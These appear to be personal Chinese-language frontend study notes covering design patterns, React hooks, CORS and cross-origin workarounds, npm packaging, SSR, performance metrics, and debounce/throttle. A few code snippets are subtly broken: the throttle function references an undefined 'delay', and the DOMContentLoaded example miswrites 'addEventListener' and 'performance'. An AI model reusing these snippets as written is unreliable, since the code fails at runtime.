• 使用: 参见 EventBus 使用（全面分析，细节提醒） - 似水流云 - 博客园

区别于观察者模式

• 观察者是经典软件设计模式中的一种,但发布订阅只是软件架构中的一种消息范式。
• 观察者模式本身只需要2个角色便可成型，即观察者和被观察者，其中被观察者是重点。
• 发布订阅需要至少3个角色来组成，包括发布者、订阅者和发布订阅中心，其中发布订阅中心是重点。
• 观察者模式实现
  1. 被观察者对象

  class Subject {
  
  constructor() {
      this.observerList = [];
  }
  
  addObserver(observer) {
      this.observerList.push(observer);
  }
  
  removeObserver(observer) {
      const index = this.observerList.findIndex(o => o.name === observer.name);
      this.observerList.splice(index, 1);
  }
  
  notifyObservers(message) {
      const observers = this.observerList;
      observers.forEach(observer => observer.notified(message));
  }
  
  }
  

  2. 观察者

  class Observer {
  
  constructor(name, subject) {
      this.name = name;
      if (subject) {
      subject.addObserver(this);
      }
  }
  
  notified(message) {
      console.log(this.name, 'got message', message);
  }
  
  }
  

  3. 使用

  const subject = new Subject();
  const observerA = new Observer('observerA', subject);
  const observerB = new Observer('observerB');
  subject.addObserver(observerB);
  subject.notifyObservers('Hello from subject');
  subject.removeObserver(observerA);
  subject.notifyObservers('Hello again');
  

装饰器模式

wip

参考

• 装饰器模式和转发，call/apply

参考

• 设计模式目录：22种设计模式
• 《Head First 设计模式》读书笔记 - murphy_gb - 博客园
• 前端常用设计模式分享 - 掘金
• 理解【观察者模式】和【发布订阅】的区别 | Wilson’s Blog

Hook 是 React 16.8 之后引入的一个特性，允许你在不使用类组件的情况下在函数组件中引入状态和其他 React 特性。

useState

• useState 允许在函数组件中引入局部状态。它的实现依赖于闭包和状态管理机制。
• 每次渲染时，React 通过维护一个 “hook 调用栈” 来保存每次调用 useState 后的状态。这些状态被保存在一个链表结构中，每次渲染时 React 都会按顺序遍历这些状态。

useEffect

• useEffect 允许在函数组件中执行副作用，比如数据请求、订阅、直接 DOM 操作等。- 它的实现原理是通过依赖数组来追踪变化，并在 DOM 完成更新后执行指定的副作用逻辑。如果某些依赖值发生变化，React 就会在下一次渲染后重新执行该副作用函数。

useContext

wip

useReducer

wip

• 参考: 深入学习React Hook——useReducer - 掘金

useId

• useId – React
• generate a unique ID
• A component may be rendered more than once on the page—but IDs have to be unique! Instead of hardcoding an ID, generate a unique ID with useId.

Hook 的顺序与规则

• Hook 的使用顺序非常重要。React 需要在每次渲染时依赖 Hook 调用的顺序来关联正确的状态。所以，Hook 必须在顶层调用，不能放在条件或循环中。

参考

• React Hooks原理探究，看完不懂，你打我 - 掘金
• React Hooks解析（看这一篇就够了） | 骚客
• How hooks work | How React Works
• react hooks 的原理是什么 · Issue #138 · z-memo/interview

自定义hook

hook的理解

1. 在 React 中被调用的且以 use 开头命名的函数叫 Hook。

2. Hooks 是一种范式转换，从“生命周期和时间”的思维模式转变为“状态和与DOM的同步”的思维模式

准确来说，应该是逻辑片段复用。

和组件化思维不同，这是另外一个粒度更细的代码复用思维。例如我们之前提到的，获取同样的数据。在组件化思维中，一个完整的组件，包括了这份数据，以及这份数据在页面上的展示结果。因此这是不同的复用思维。

处理获取数据过程中的公用逻辑，处理公用的登陆逻辑等。自定义hooks封装的大多数情况下不是一个完整的页面逻辑实现，而是其中的一个片段。 自定义hook能够跟随函数组件重复执行，并且每次都返回最新结果。因此，我们可以非常放心大胆的封装异步逻辑。

3. 自定义 Hook 是将逻辑封装为可重用的代码块。它实际上是一个普通的 JavaScript 函数，可以使用其他 Hook，并返回状态或副作用逻辑。自定义 Hook 让组件逻辑更加灵活和可重用。

自己的经历

1. 在我写EuDs63/BookRecommend_Front: 图书推荐系统，就很经常需要从API获取数据。虽然这时候还没有自定义hook的概念，但很自然地封装了一个函数。在看了为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka’s Blog，了解到用于数据请求的 React Hooks 库 – SWR。

2. 发现了阿里巴巴开源的ahooks - React Hooks Library - ahooks 3.0,封装了常用的hook，代码量都不算很大，但都很巧妙，正在学习中。

3. 看How to integrate Google Analytics with React JS application? | Saeloun Blog ,可以把ga给集成为hook,react-router-dom

4. 读用于数据请求的 React Hooks 库 – SWR，看上了Subscription – SWR，感觉能用来替代项目中使用的redux，但搜了圈，能找到的资料不多，算了。

5. 发现useHooks – The React Hooks Library，可以学学

参考

• 超性感的React Hooks（五）：自定义hooks
• 超性感的React Hooks（六）自定义hooks的思维方式
• 为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka’s Blog
• Hook 规则 – React 中文文档

问题

React 是如何把对 Hook 的调用和组件联系起来的？

Hooks FAQ – React

React 保持对当前渲染中的组件的追踪。Hook 只会在 React 组件中被调用（或自定义 Hook —— 同样只会在 React 组件中被调用）。

每个组件内部都有一个「记忆单元格」列表。它们只不过是我们用来存储一些数据的 JavaScript 对象。当你用 useState() 调用一个 Hook 的时候，它会读取当前的单元格（或在首次渲染时将其初始化），然后把指针移动到下一个。这就是多个 useState() 调用会得到各自独立的本地 state 的原因。

为什么useState是异步的

useState 的行为在某种程度上表现为异步，主要原因是为了优化 React 的渲染过程和性能。React 将多个状态更新合并到一起，并通过批量更新的方式避免不必要的重新渲染。具体原因如下：

1. 批量更新机制

• React 在处理事件处理函数或生命周期方法（如 useEffect）中的 setState 调用时，通常不会立即应用状态更新，而是会将这些更新“批量”处理。在一次事件循环中，多个 setState 调用会被合并为一次更新。这种批量更新策略可以提高性能，避免在每次状态变化后都重新渲染组件。
• 示例：批量更新

function MyComponent() {
  const [count, setCount] = useState(0);

  const handleClick = () => {
    setCount(count + 1); // 更新不会立即发生
    setCount(count + 2); // 也不会立即发生
  };

  return (
    <div>
      <p>{count}</p>
      <button onClick={handleClick}>Increment</button>
    </div>
  );
}

在这个例子中，虽然调用了两次 setCount，但 React 会将它们合并为一次更新。 2. 异步特性防止多次渲染

• 如果 useState 是同步的，每次调用 setState 时都会导致组件重新渲染，这样会严重影响性能。想象在一次事件处理函数中调用多次 setState，如果每次都导致同步重新渲染，性能开销将非常高。

• 示例：同步更新的弊端

function MyComponent() {
  const [count, setCount] = useState(0);

  const handleClick = () => {
    setCount(count + 1); // 如果是同步，组件将立即重新渲染
    setCount(count + 2); // 会导致多次无效渲染
  };

  return (
    <div>
      <p>{count}</p>
      <button onClick={handleClick}>Increment</button>
    </div>
  );
}

如果 setCount 是同步的，React 会在每次状态更新时都重新渲染组件，导致性能下降。为了避免这种情况，React 通过异步机制将多次更新合并到一次渲染中。

3. React Fiber 架构

   • React 引入了新的 Fiber 架构，使其能够以分片的方式执行任务，将大任务切分成小的可中断的子任务。在此过程中，React 可能会推迟状态更新，直到它完成当前的渲染工作。这样可以确保用户界面始终保持流畅。
   • 如果 useState 是同步的，React 就无法利用 Fiber 架构的优势来进行任务调度和批量更新。

4. 状态更新并不真正是异步的

   • 虽然 useState 的更新机制表现为异步，但从技术上讲，它并不是真正的异步操作，像 Promise 那样。实际上，它是在下一个渲染周期中同步更新的。React 将状态更新延迟到合适的时机，而不是立即应用。
   • 示例：获取最新状态

   function MyComponent() {
     const [count, setCount] = useState(0);
   
     const handleClick = () => {
       setCount(prevCount => prevCount + 1); // 使用回调函数获取最新的状态
       setCount(prevCount => prevCount + 1); // 这样可以确保多次更新正确执行
     };
   
     return (
       <div>
         <p>{count}</p>
         <button onClick={handleClick}>Increment</button>
       </div>
     );
   }
   

   通过回调函数 prevCount，我们可以确保每次更新都基于最新的状态值。这样即便 setState 是异步的，也能确保状态更新的正确性。

为什么hooks不能写在if/else等语句里

1. Hooks 调用顺序的依赖

   • React 使用一个内部的“链表”来跟踪组件中的每个 Hook 的调用。当 React 渲染组件时，Hooks 是按照定义的顺序被调用的。在后续渲染中，React 依赖这个顺序来确保同一个 Hook 对应的是之前的状态或副作用。
   • 示例

   function MyComponent() {
     const [count, setCount] = useState(0);  // Hook 1
     const [name, setName] = useState('');   // Hook 2
   
     useEffect(() => {                       // Hook 3
       document.title = `Count: ${count}`;
     }, [count]);
   
     return <div>{count}</div>;
   }
   

   在每次渲染中，React 会按照调用顺序分配状态：

   1. useState(0) 对应第一个状态 count。
   2. useState('') 对应第二个状态 name。
   3. useEffect 处理副作用。

   如果这个顺序保持一致，React 能够正确地追踪状态和副作用。

2. 在条件语句中使用 Hooks的后果

   • 可能会导致 Hooks 的调用顺序在不同渲染中不一致

   • 错误示例

   function MyComponent() {
     const [count, setCount] = useState(0);  // Hook 1
   
     if (count > 0) {
       const [name, setName] = useState('');  // Hook 2 （条件性调用）
     }
   
     useEffect(() => {                       // Hook 3
       document.title = `Count: ${count}`;
     }, [count]);
   
     return <div>{count}</div>;
   }
   

   如果 count > 0，name 的 useState 会被调用。但如果 count <= 0，该 useState 不会被调用。这导致：

   • 当 count > 0 时，useEffect 是第三个 Hook。
   • 当 count <= 0 时，useEffect 是第二个 Hook。

   这样，React 无法知道哪个 Hook 应该关联到哪个状态，状态更新和副作用可能会错误地关联到不同的 Hook，导致不可预知的错误。

3. React 如何追踪 Hooks

   • React 通过一个全局的“调用栈”来追踪每个组件中的 Hooks。当组件渲染时，React 会按顺序调用所有的 Hooks，并在内部记录这些调用。这样，每次渲染时，React 能够依赖这个顺序来关联状态。
   • 如果在 if/else 中使用 Hooks，可能会导致某些 Hooks 在特定条件下被跳过，破坏这个顺序，从而导致错误的状态关联。

4. 报错提示

   • Rendered more hooks than during the previous render

   • Hooks can only be called inside the body of a function component.

5. 参考

   • 为什么不能在if语句里面写hooks，HooKs链表写得清清楚楚🤣🤣🤣 - 码农之家
   • Hook 规则 – React 中文文档
   • Why Do React Hooks Rely on Call Order? — overreacted
   • react hooks 的原理是什么 · Issue #138 · z-memo/interview

hooks能实现类里面的所有生命周期吗

• “Commit phase"中的三个方法,Can work with DOM, run side effects, schedule updates：
  1. componentDidMount -> the useEffect hook with the second argument of []
  2. componentDidUpdate -> the useEffect hook with the second argument of [state]
  3. componentWillUnmount -> return a function that runs on unmounting inside the useEffect function,例:

      useEffect(() => {
      console.log("Hello");
  
      return () => {
      console.log("Bye");
      };
  }, []);
  

• 上面的类比只是类比，不能等同，原因：
  1. 实际原理不同
  2. 执行时机不同

定义

• 如果两个 URL 的协议、端口（如果有指定的话）和主机都相同的话，则这两个 URL 是同源的。
• 当一个网页加载的资源（如脚本、样式表、图片等）来自于与当前页面不同的域名、协议或端口时，就称为跨域请求。

举例：

• http://store.company.com/dir/page.html 与http://store.company.com/dir2/other.html 同源
• http://store.company.com/dir/page.html 与http://news.company.com/dir/other.html不同源,因为主机不同

参考：

• 浏览器的同源策略 - Web 安全 | MDN

为什么要有同源政策?

同源政策限制的是非同源的请求，那非同源请求会带来什么问题呢? 假设今天有一个使用者登入某一银行网站www.bank.com ，同时他刚好在使用另一个不安全的网站例如www.stolemoney.com ，如果没有同源政策的话，这个stolemoney 网站可能可以轻易地存取这个使用者在www.bank.com 里的资料。

浏览器的同源政策就像是最基本的一层保护机制，让不同源的网站无法存取到资源和资料。另外要注意的是，这个阻挡机制是在最后浏览器收到服务器端回应后发生的; 也就是说，就算是非同源请求，如果服务器端没有做任何阻挡、并回传结果，浏览器端其实是会成功收到回应，但因为违反同源政策，浏览器会拦截这个回应、并报错。

跨域问题的解决

三类标签

• 有类个标签允许跨域加载资源
  1. <img src=XXX>
  2. <link href=XXX>
  3. <script src=XXX>

代理

• 原理：
  • 同源策略只受限于浏览器访问服务器，对于服务器访问服务器并没有限制的特点。中间服务器做了一个请求转发的功能
• 实现：
  • Node中间件代理
  • nginx反向代理
  • vite配置代理
    • Vite 配置代理 Proxy，避免跨域和重复编写url的问题 - 峰华前端工程师

CORS

• CORS 跨源资源共享（Cross-Origin Resource Sharing）。
• 总体思路是：如果浏览器要跨域访问服务器的资源，需要获得服务器的允许
• 三种请求
  1. 简单请求
     • 需要同时满足以下两大条件
       1. 使用下列方法之一：GET HEAD POST
       2. Content-Type 的值仅限于下列三者之一：text/plain,multipart/form-data,application/x-www-form-urlencoded
  2. 需要预检的请求
  3. 附带身份凭证的请求
• 服务器通过响应headerAccess-Control-Allow-Origin进行控制
• 跨源资源共享 - MDN Web 文档术语表：Web 相关术语的定义 | MDN

postMessage

• 语法: otherWindow.postMessage(message, targetOrigin, [transfer]);
• 过程
  1. 获得对另一个窗口的引用（比如 targetWindow = window.opener）
  2. 在窗口上调用 targetWindow.postMessage() 方法分发一个 MessageEvent 消息
  3. 接收消息的窗口可以根据需要自由处理此事件。
  4. 传递给 window.postMessage() 的参数（比如 message）将通过消息事件对象暴露给接收消息的窗口。
• 安全问题
  • 如果你不希望从其他网站接收 message，请不要为 message 事件添加任何事件侦听器。
  • 如果你确实希望从其他网站接收 message，请始终使用 origin 和 source 属性验证发件人的身份。当你使用 postMessage 将数据发送到其他窗口时，始终指定精确的目标 origin，而不是 *。
  • 当你使用 postMessage 将数据发送到其他窗口时，始终指定精确的目标 origin，而不是 *。
• 参考: window.postMessage - Web API | MDN

websocket

wip

JSONP

• 服务端

app.get('/app/jsonp', (req, res) => {
  const responseData = { data: [{ id: 1, name: 'Brian' }, { id: 2, name: 'Peter' }] }
  const responseDataText = JSON.stringify(responseData)
  res.set('Content-Type', 'application/text')
  res.send(`jsonpCallback(${responseDataText})`)
})

• 网页端

...
<script>
  function jsonpCallback(response) {
    console.log('jsonp response', response)
    // 任何你想對 data 執行的動作
  }
</script>
<script type="text/javascript" src="/app/jsonp"></script>
</body>

• 参考: 用 JSONP 跨域 GET 簡易示範 ＆ 說明. | by Brian Hao-Yu Wu | Medium

实际遇到过的问题

• 描述: 一个页面里用到了三次同一个s3生成的signed url，一次是thumbnail，另一次是preview，第三次是在image的onload后使用fetch直接去获取s3的图片,我发现这里会使用缓存，显示是（memory cache）但这样的话它似乎就丢失了cors信息，就会报错blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
• 代码如下

• 解决方法: 将出现的两个<img>的crossOrigin都设为"anonymous"
• 有效的原因
  1. 跨域图像加载的缓存行为：通过设置crossOrigin="anonymous"，浏览器明确地按照跨域请求来处理这个图像，确保它从服务器获取时遵循 CORS 规范，并且缓存下来的资源携带正确的 CORS 信息。
  2. 避免重复跨域请求错误：由于图像是通过<img>标签加载且设置了 crossOrigin，接下来的 fetch 请求可以从缓存中获取具有正确 CORS 头的信息，避免了 CORS 错误。
• 参考
  • provisional-headers
  • javascript - Fetching an image from S3 bucket is not working because of CORS - Stack Overflow

参考：

• 跨源资源共享（CORS） - HTTP | MDN
• CORS 是什么? 为什么要有 CORS? ｜ExplainThis
• 你是怎样解决跨域问题的?-面试必问-腾讯云开发者社区-腾讯云
• 面试官：聊聊你知道的跨域解决方案 - 掘金
• 九种跨域方式实现原理（完整版） - 掘金

package.json

• 版本
  • 每个版本号都形如：1.2.3，有三部分组成，依次叫主版本号、次版本号、修订号；
    1. 当新版本无法兼容基于前一版本的代码时，则提高主版本号；
    2. 当新版本新增了功能和特性，但仍兼容前一版本的代码时，则提高次版本号；
    3. 当新版本仅仅修正了漏洞或者增强了效率，仍然兼容前一版本代码，则提高修订号；
  • ^ 兼容某个大版本。如：^1.1.2 ，表示>=1.1.2 <2.0.0
  • ~ 兼容某个次版本。如：~1.1.2，表示>=1.1.2 <1.2.0
• 依赖
  1. dependencies 生产依赖
  2. devDependencies 开发依赖
     • 只开发应用，不对外开源的话，包随意放在dependencies或devDependencies是不影响
  3. peerDependencies 同版本的依赖
     • 例如vue和vuex
  4. bundledDependencies 捆绑依赖
     • 依赖中使用到的，但尚未发布
  5. optionalDependencies 可选依赖
     • 非必要不使用
• files
  • 用于描述npm publish后推送到 npm 服务器的文件列表

package-lock.json

• 定义每个包的具体版本，以及包之间的层叠关系
• 需要提交到git吗?
  • 回答: 分情况
    • 内部的应用项目: 可以保证项目中成员、运维部署成员或者是 CI 系统, 在执行 npm install后, 在不同的节点能得到完全一致的依赖安装的内容，减少bug的出现;无需计算依赖版本范围，大部分场景下能大大加速依赖安装时间
    • 给外部环境用的库: 在不使用 package-lock.json的情况下，就可以复用主项目已经安装的包，减少依赖重复和体积

src或lib

• src/: 包含项目的源代码。在开发过程中，所有的 TypeScript、JavaScript、CSS 等文件会放在这里。
• lib/:
  • 如果有此文件夹，通常是编译后的代码，生成的文件可以是 CommonJS、ES6 模块等
  • 针对模块化代码的编译输出，保持了一些开发者友好的结构和格式。

dist或build

• 这个文件夹包含了打包或编译后的代码，通常是在使用构建工具（如 Webpack、Rollup 等）之后生成的。这个文件夹里的代码是实际发布到 npm 上的。
• 经过优化和打包处理后的生产代码

npm install背后的过程

• 依赖树的构建
  1. 首先会检查下项目中是否有 package-lock.json 文件
  2. 存在 lock 文件的话，会判断 lock 文件和 package.json 中使用的依赖版本是否一致
  3. 如果一致的话就使用 lock 中的信息，反之就会使用 package.json 中的信息
  4. 如果没有 lock 文件的话，就会直接使用 package.json 中的信息生成依赖树。
• 参考
  • 前端工程化 - 剖析npm的包管理机制现如今，前端开发的同学已经离不开 npm 这个包管理工具，其优秀的包版本管理机制承 - 掘金

修改

方法一

• 直接修改对应模块的lib代码
• 缺点:
  • lib中都是编译过后的代码,阅读起来不够直观-
• 进阶: 参见patch-package使用 | EuDs’s Blog

方法二

• 拷贝源文件后进行修改,再引用
• 缺点:
  • 代码臃肿

方法三

• fork一份，自己维护
• 流程:

  还是以elemnt-ui为例,可以在官方的开源代码中fork到自己的仓库中方便维护,然后clone到本地进行相关源代码的修改 使用 npm run dist即可打出对应lib 进行本地软连接, 在本地elemnt-ui项目中使用 npm link 或者 yarn link, 在需要的项目中使用npm linkelemnt-ui,此时就可以进行相关调试 在本地element项目中使用npm login npm publish 进行发包 在需要的项目中引入发布的包,不再使用elemnt官方包,修改packjson中的包版本之后npm unlink elemnt-ui npm install重新安装依赖

• 缺陷
  • 如果你修改的是个底层包，也就是说并不是你的应用代码中直接引用的，而是你引用的npm包A所依赖的，甚至可能同时被包B依赖的，这时就比较尴尬了，你不可能再去修改A和B的源码，那就太不值当了。
• 进阶: 使用pnpm的别名(aliases)
  • pnpm add lodash@npm:awesome-lodash: 发布了一个名为awesome-lodash的新包，并使用lodash作为别名来安装它

调试

发布

wip

参考

• 详解package.json和package-lock.json - 掘金
• 开源组件的定制化修改及优化过程记录 - 橙汁坤的博客 | czkm Blog
• link | npm中文文档 | npm中文网
• 如何调试node_modules中的包 | 梦殇918
• [Mentor让我调试npm包 我偷偷搬了一下午代码。。。 - 哔哩哔哩](https://www.bilibili.com/read/cv16917711/)
• debugging - How can I debug node modules? - Stack Overflow
• 【一库】yalc: 可能是最好的前端link调试方案（已经非常谦虚了） - 掘金
• 爬坑node_modules经验分享 - 掘金

SSR（Server-Side Rendering）

• 运行时生成页面：在用户请求页面时，服务器会动态地生成 HTML 文件并将其发送给客户端。内容在每次请求时都会在服务器端生成，因此适合需要频繁更新数据的页面。
• 过程:
  1. 用户请求页面
  2. 服务器端渲染：
     • 服务器会从数据库或 API 获取需要的数据。
     • 使用 JavaScript 运行框架（如 React、Vue）的组件，在服务器端生成 HTML 页面，并将获取的数据填充到模板中。
  3. 返回 HTML 页面：服务器将渲染完成的 HTML 页面发送回客户端。页面加载后，用户可以立即看到内容，而无需等待所有 JavaScript 加载完成。
  4. 客户端水合（Hydration）：
     • 在客户端，浏览器会下载并执行页面相关的 JavaScript。
     • 前端框架接管页面，将其转变为可交互的应用，类似单页应用（SPA）的行为。
  5. 进一步交互：当用户进行进一步的操作（如点击、导航等），客户端代码可以通过 API 进行数据请求和局部更新，而无需刷新整个页面。

SSG（Static Site Generation）

• 构建时生成页面：在构建阶段提前生成静态 HTML 文件，并将这些文件直接部署在 CDN 或服务器上，所有用户访问时都获取相同的静态页面。
• 优点：
  • 性能极佳：静态文件可以通过 CDN 高效分发，用户的页面加载速度非常快。
  • 稳定性高：不需要实时依赖服务器，即使服务器出现问题，静态页面依然可以访问。
  • SEO 友好：和 SSR 类似，静态 HTML 可以被搜索引擎很好地索引。
• 缺点：
  • 实时性差：由于内容在构建时生成，页面的数据更新不及时，适合更新频率较低的内容（如博客、文档等）。
  • 构建时间长：对于大型网站，构建所有静态页面可能需要较长的时间。

优势

1. SEO和SMO(Social Media Optimization)
2. First meaningful paint(首屏渲染)
3. Graceful degradation（支持不支持或没有开启javascript功能浏览器）
4. 实时性强：适合频繁更新内容的应用（如社交媒体、新闻网站等），因为每次请求都会生成最新的数据。

劣势

• 额外的开发和维护成本，需要额外考虑以下几点
  1. 有没有全局mutable data，可能导致内存泄露
  2. 有没有在SSR可能执行的代码中使用server没有而client端存在的api
  3. 第三方库是否需要在server端重新配置
• 服务端的开发
• 更多的服务端负载

为什么会难开发

• 执行环境不同
  • BOM(window…), DOM(document…), Ajax(XMLHttp​Request, fetch…), Web Workers…等属于浏览器环境的对象在node server环境下并不work
• “执行上下文”不同

做了ssr，但首屏渲染时间还是很长

1. 有没有做Time to the First Byte，如果渲染该页面依赖后端耗时的计算和请求时间，那么可以考虑使用Streaming Server-Side Rendering
2. 有没有阻塞性请求、有没有重定向请求
3. 服务有没有靠近用户，由于SSR需要动态服务，不能CDN部署，可能在一些国家或地区的政策影响下，服务只能部署在A地，但用户却在B地

优化方案

1. Streaming SSR（流式渲染）：
   • 通过流式传输内容来加速首屏渲染，服务器生成的 HTML 可以一部分一部分地传输给客户端，缩短等待时间。
   • React 18 中引入了 Suspense 和 React.lazy() 支持流式渲染。
2. Partial Hydration（部分水合）：
   • 不是一次性水合整个页面，而是逐步水合页面上的不同组件，减少初始 JavaScript 体积，加快交互速度。
3. 预渲染与动态渲染结合：
   • 可以为某些页面提前生成静态 HTML 文件（SSG），而为需要实时数据的页面使用 SSR。

参考

• Vite SSR 项目 Docker 镜像最小化打包方案 | 面条实验室
• 关于SPA的SEO解决方案. 为什么SPA需要SEO优化 | by shidong ke | Medium

memory

1. jsHeapSizeLimit (表示当前页面最多可以获得的 JavaScript 堆大小)
2. totalJSHeapSize (表示当前页面已经分配的 JavaScript 堆大小)
3. usedJSHeapSize (表示当前页面 JavaScript 已经使用的堆大小)

navigation

1. redirectCount，重定向的数量，经过多少次重定向进入这个页面
2. type，进入页面的方式
   • 0，正常进入非刷新，非重定向
   • 1，通过刷新的方式进入
   • 2，通过前进回退按钮进入
   • 255，非是上述情况

PerformanceNavigationTiming

• 
• 顺序
  1. 页面卸载部分
     • 卸载：navigationStart、unloadEventStart、unloadEventEnd
  2. 网络部分
     • 跳转：redirectStart、redirectEnd
     • 请求文档：fetchStart
     • DNS查询：domainLookupStart、domainLookupEnd
     • 连接建立：connectStart、connectEnd
     • 请求：requestStart、responseStart、responseEnd
  3. 页面解析部分
     • 解析dom：domLoading、domInteractive
     • 资源加载，dom渲染：domContentLoadedEventStart、domContentLoadedEventEnd、domComplete

参考

• PerformanceNavigationTiming - Web APIs | MDN
• 来来来，前端性能监控，带你拿到正确的性能指标作为前端开发，我们有必要关注我们各个客户端的性能指标，比如白屏时间，最早可交 - 掘金

指标

首次内容绘制(First Contentful Paint)

• 定义
  • 浏览器从响应用户输入网络地址，到浏览器呈现第一段 DOM 内容所需的时间
  • 首屏时间 = 首屏内容渲染结束时间点 - 开始请求的时间点
  • performance.getEntries(‘paint’).filter(entry => entry.name == ‘first-contentful-paint’)[0].startTime;
• 优化
  1. 缩短距离: cdn
  2. 减少首次加载需要请求的内容
     • 动态加载: 使用 import() 或 React.lazy() 在路由或组件级别进行模块拆分
     • 懒加载: intersectionObserver

最大内容渲染时间(LCP Largest Contentful Paint)

• 定义
  • 指代页面中最大的内容完成绘制的时间。

TTFB

• 定义
  • 指代从资源的请求到响应第一个字节的时间跨度。
  • responseStart - navigationStart
• 影响因素
  • 重定向时延，DNS查询时延，链接建立延迟，请求响应时延

可交互时间(Time to Interactive)

• 定义
  • 页面完全交互所需的时间
• 优化
  • 把长任务拆分为较小的任务（使用 requestAnimationFrame 或 requestIdleCallback），或者选择在主线程之外（如Web Workers）运行 JavaScript

DCL (DOMContentLoaded)

• 定义
  • 当HTML 文档被完全加载和解析完成之后，DOMContentLoaded 事件被触发，无需等待样式，图像和子框架的完成加载的时间。
• 计算

document.addeventListener('DOMContentLoaded', function() {
    +new Date() - window.performanceObser.timing.navigationStart
}, false);

(Total Blocking Time)

(Cumulative Layout Shift)

白屏时间

• 从用户开始请求页面时开始计算到开始显示内容结束，中间过程包括DNS查询、建立TCP链接、发送首个HTTP请求、返回HTML文档、HTML文档head解析完毕。
• 计算:

  <!DOCTYPE html>
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>白屏时间计算-常规方法</title>
    <script>
      window.pageStartTime = Date.now()
    </script>
    <link rel="stylesheet" href="https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/ionicons/2.0.1/css/ionicons.min.css~tplv-t2oaga2asx-image.image">
    <link rel="stylesheet" href="https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/asset/fw-icon/1.0.9/iconfont.css~tplv-t2oaga2asx-image.image">
    <script>
      window.firstPaint = Date.now()
      console.log(`白屏时间：${window.firstPaint - window.pageStartTime}`)
    </script>
  </head>
  <body>
    <div>这是常规计算白屏时间的示例页面</div>
  </body>
  </html>
  

• 白屏时间 = window.firstPaint - window.pageStartTime

参考

• 看懂 Lighthouse 中 Performance 核心指标简介
• 前端性能指标：白屏和首屏时间的计算 - 掘金
• How the Core Web Vitals metrics thresholds were defined  |  Articles  |  web.dev

首屏优化

• 参考
  • [前端进阶] 首屏优化知识梳理
  • 首屏加载时间优化的几种解决方案🙋🏿🙋🏿🙋🏿 - 掘金
  • 图片 | 前端性能优化

滚屏性能优化

• 将touchstart和touchmove事件的passive选项设置为ture
  • 原理: touchstart和touchmove是cancelable的。事件处理程序中可能会调用preventDefault()，所以需要等待事件处理程序结束再滚动。
  • 注: 大部分浏览器（Safari 和 Internet Explorer 除外）将文档级节点 Window、Document 和 Document.body 上的 wheel、mousewheel、touchstart 和 touchmove 事件的 passive 默认值更改为 true。
• 参考:
  • 滚动事件优化 passive - 孟繁贵 - 博客园

React性能优化

1. map循环展示添加key
2. 路由懒加载
3. 第三方依赖按需引入
4. 使用memo或者pureComponent避免不必要的渲染
5. 合理使用useMemo、memo、useCallback

参考

• React 性能优化 | 包括原理、技巧、Demo、工具使用⁣React 的工作流 - 掘金
• 当面试官问我前端可以做的性能优化有哪些-网络日志
• React 应用中的性能优化 | 前端开发者技术周刊
• React 性能优化 | 五年前端三年面试
• React 性能优化十大总结

懒加载与按需加载

懒加载

• 概念: 可以按照路由对产物进行分割
• 实现

  import { lazy } from 'react';
  
  const MarkdownPreview = lazy(() => import('./MarkdownPreview.js'));
  
  <Suspense fallback={<Loading />}>
    <h2>Preview</h2>
    <MarkdownPreview />
  </Suspense>
  

• 代码二次分割:
  • 可以将那些在非首页才用到的依赖是不是可以单独分割为一个chunk，这样的话可以进一步减少index-[hash].js的体积
  • 需要配合路由懒加载才能达到效果，否则即使代码进行了分割，但加载首屏还是会因为路由提前注册的原因，使得浏览器加载所有资源。
• 缺点:
  • 优化也有成本，比如文本中虽然通过代码分割+路由懒加载减少了首屏资源体积，但随之也带来了资源请求数增加的问题，对浏览器的并发请求带来了压力。

按需加载

• 按需加载是为了减少依赖产物体积过大的问题，典型的如 lodash、echarts、arco-design，整个包存在很多方法、组件，而在项目实际使用到的其实只有一部分。在构建时进行按需加载，可以有效减小最终产物体积。
• 示例:
  • mattiasw/ExifReader: A JavaScript Exif info parser.

      "exifreader": {
        "include": {
          "webp": true
        },
        "exclude": {
          "xmp": true
        }
      }
    

参考

• React+Vite技术栈下首屏资源优化前言 最近小组做的H5应用需要通过iframe嵌入到第三方站点里，为了提高首屏速 - 掘金
• lazy – React 中文文档

虚拟滚动

定义

• 浏览器视口固定，内容响应用户鼠标滚动

使用场景

• 炫酷的滚动交互
• 无限循环列表滚动
• 关注控制滚动体验（灵敏度、惯性等）

如何优化解决虚拟滚动中滚速过快情况下的白屏问题

wip

参考

• 虚拟滚动
• 新手也能看懂的虚拟滚动实现 - 掘金

防抖和节流

防抖

• 在触发频率高的事件中,执行耗费性能的操作,连续操作后只有最后一次生效

  //自己实现debounce
  function debounce(func,wait=0){
    let timeId = null; //为什么不在内部声明id?因为我如果在内部声明,每一次触发事件就会有一个新的变量产生
    return function(...args){
      const self=this;
      if(timeId){
        clearTimeout(timeId);
      }
      timeId=setTimeout(()=>{
        func.apply(self,args);
      },wait)
    };
  }
  

节流

• 在触发频率高的事件中,执行耗费性能操作,连续触发,单位时间内只有一次生效

  function throttle(func,wait=0){
    let timeId;
    return function(...args){
      const self=this;
      if(!timeId){
        func.apply(self,args);
        timeId = setTimeout(()=>{
          timeId = undefined;
        },delay);
      }
    };
  }
  

参考

• Debounce vs Throttle: Definitive Visual Guide - kettanaito.com
• throttle-debounce - npm

回流与重绘

浏览器渲染过程

1. 解析 HTML 和样式计算 (parsing and style calculation)
2. 布局 (Layout)
3. 绘制 (paint)
4. 合成 (compositing)

回流

• reflow
• 网页渲染引擎根据元素的尺寸、位置和显示属性来重新计算页面的排版和布局，是网页渲染过程中的一个重要步骤。
• 当一个元素的长与宽改变，可能会影响到画面中其他元素的编排，所以每当有一个元素的布局改变，浏览器的 CPU 需要重新计算整个页面中不同元素的长宽、间距等。在计算的期间，会没办法处理其他任务 (例如使用者在点击按钮，可能会要等一阵子才有回应，因为浏览器无暇处理)。

重绘

• repaint
• 指网页渲染引擎根据显示属性 (如颜色、文字大小等) 重新绘制页面元素，不影响元素的位置和尺寸
• 不会影响页面布局，但是也会影响页面的性能

减少回流和重绘

1. 移动调整元素时，使用transform
2. 使用opacity来改变元素的能见度
3. 避免频繁用 JavaScript 操作 DOM 节点

参考

